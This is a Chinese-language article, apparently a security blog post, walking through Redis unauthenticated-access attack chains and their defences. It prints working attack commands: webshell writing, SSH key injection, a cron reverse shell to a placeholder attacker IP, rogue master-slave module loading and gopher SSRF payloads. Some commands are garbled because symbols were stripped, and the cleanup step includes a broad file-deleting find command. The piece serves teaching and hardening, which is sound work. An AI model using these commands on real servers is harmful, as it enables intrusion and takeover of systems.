Redis未授权访问漏洞全解析：从SSRF到getshell的完整链条

Redis未授权访问漏洞深度剖析与实战防御指南Redis作为高性能键值数据库的广泛应用使其成为攻击者的重点目标。本文将系统性地剖析Redis未授权访问漏洞的完整攻击链条从漏洞原理到多种攻击手法包括SSRF利用、Gopher/Dict协议攻击、主从复制攻击等并提供可落地的防御方案。无论您是渗透测试人员还是系统管理员都能从中获得实战价值。1. Redis未授权访问漏洞核心原理Redis在设计之初将性能作为首要考量默认配置存在以下安全隐患无认证机制默认情况下无需密码即可连接除非手动配置requirepass参数网络绑定策略默认监听所有接口0.0.0.0暴露在公网风险极高高危命令未禁用CONFIG、SAVE等命令可修改关键配置典型攻击路径分为三个阶段初始访问通过暴露的6379端口建立未授权连接权限提升利用CONFIG命令修改持久化配置持久化攻击写入恶意文件webshell/SSH密钥/计划任务关键配置参数风险说明dir控制持久化文件存储路径dbfilename决定持久化文件名protected-mode3.2版本的安全模式开关2. 主流攻击手法全解析2.1 WebShell写入技术攻击条件已知目标Web目录绝对路径Redis以root权限运行存在未授权访问或弱口令典型操作流程redis-cli -h 目标IP config set dir /var/www/html config set dbfilename shell.php set payload ?php system($_GET[cmd]);? save防御对策# Web服务器配置示例禁止访问.rdb/.aof文件 location ~* \.(rdb|aof)$ { deny all; }2.2 SSH公钥注入攻击技术原理 通过写入authorized_keys文件实现免密登录需要生成攻击者SSH密钥对将公钥写入Redis修改保存路径至/root/.ssh/关键命令ssh-keygen -t rsa -f attack_key (echo -e \n\n; cat attack_key.pub; echo -e \n\n) key.txt cat key.txt | redis-cli -h 目标IP -x set payload redis-cli -h 目标IP config set dir /root/.ssh redis-cli -h 目标IP config set dbfilename authorized_keys redis-cli -h 目标IP save防御方案# 修改SSH配置/etc/ssh/sshd_config PermitRootLogin prohibit-password StrictModes yes2.3 计划任务反弹Shell系统差异系统类型计划任务路径文件权限要求CentOS/var/spool/cron/644Ubuntu/var/spool/cron/crontabs/600攻击示例import redis r redis.Redis(host目标IP, port6379) r.config_set(dir, /var/spool/cron/) r.config_set(dbfilename, root) r.set(payload, \n* * * * * bash -i /dev/tcp/攻击IP/端口 01\n) r.save()防御建议# 监控cron目录文件变化 inotifywait -m /var/spool/cron -e create,modify3. 高级攻击手法剖析3.1 主从复制攻击链利用条件Redis 4.x-5.0.5版本主从复制功能启用root权限运行Redis攻击步骤搭建恶意Redis服务器通过SLAVEOF命令设置主从关系同步恶意.so模块文件执行系统命令工具使用示例python3 redis-rogue-server.py --rhost 目标IP --lhost 攻击IP --exp module.so3.2 SSRF结合协议攻击协议对比协议类型编码要求适用场景限制条件GopherURL编码直接命令注入需要协议支持Dict明文传输信息探测、简单操作不支持多行输入Gopher攻击示例import urllib.parse payload config set dir /var/www/html\nconfig set dbfilename shell.php\nset payload ?php phpinfo();?\nsave gopher_url gopher://127.0.0.1:6379/_ urllib.parse.quote(payload.replace(\n,\r\n))4. 立体化防御体系构建4.1 基础安全配置redis.conf关键配置bind 127.0.0.1 requirepass 复杂密码 rename-command CONFIG rename-command FLUSHALL protected-mode yes dir /secured/redis/data/4.2 网络层防护防火墙规则iptables -A INPUT -p tcp --dport 6379 -s 可信IP -j ACCEPT iptables -A INPUT -p tcp --dport 6379 -j DROP网络隔离将Redis部署在内网区域使用跳板机管理访问4.3 运行时防护安全监控方案# 监控Redis关键命令执行 auditctl -w /usr/local/bin/redis-server -p x -k redis-commands # 文件完整性检查 aide --check4.4 应急响应流程入侵识别检查异常Redis进程分析/var/log/redis/redis.log处置措施# 立即断开网络 ifdown eth0 # 备份证据 redis-cli --rdb dump.rdb # 清除后门 find / -name *.php -mtime -1 -exec rm -f {} \;5. 企业级安全实践建议权限最小化useradd -r -s /bin/false redisuser chown -R redisuser:redisuser /var/lib/redis加密通信# redis.conf配置 tls-port 6379 tls-cert-file /path/to/redis.crt tls-key-file /path/to/redis.key安全审计工具Redis-Audit专项安全检测Lynis系统级安全检查OSSEC实时入侵检测实际运维中发现多数成功攻击都源于配置疏忽。曾遇到某企业因使用redis作为密码导致攻击者通过暴力破解在15分钟内获取控制权。这提醒我们密码复杂度与网络访问控制同样重要。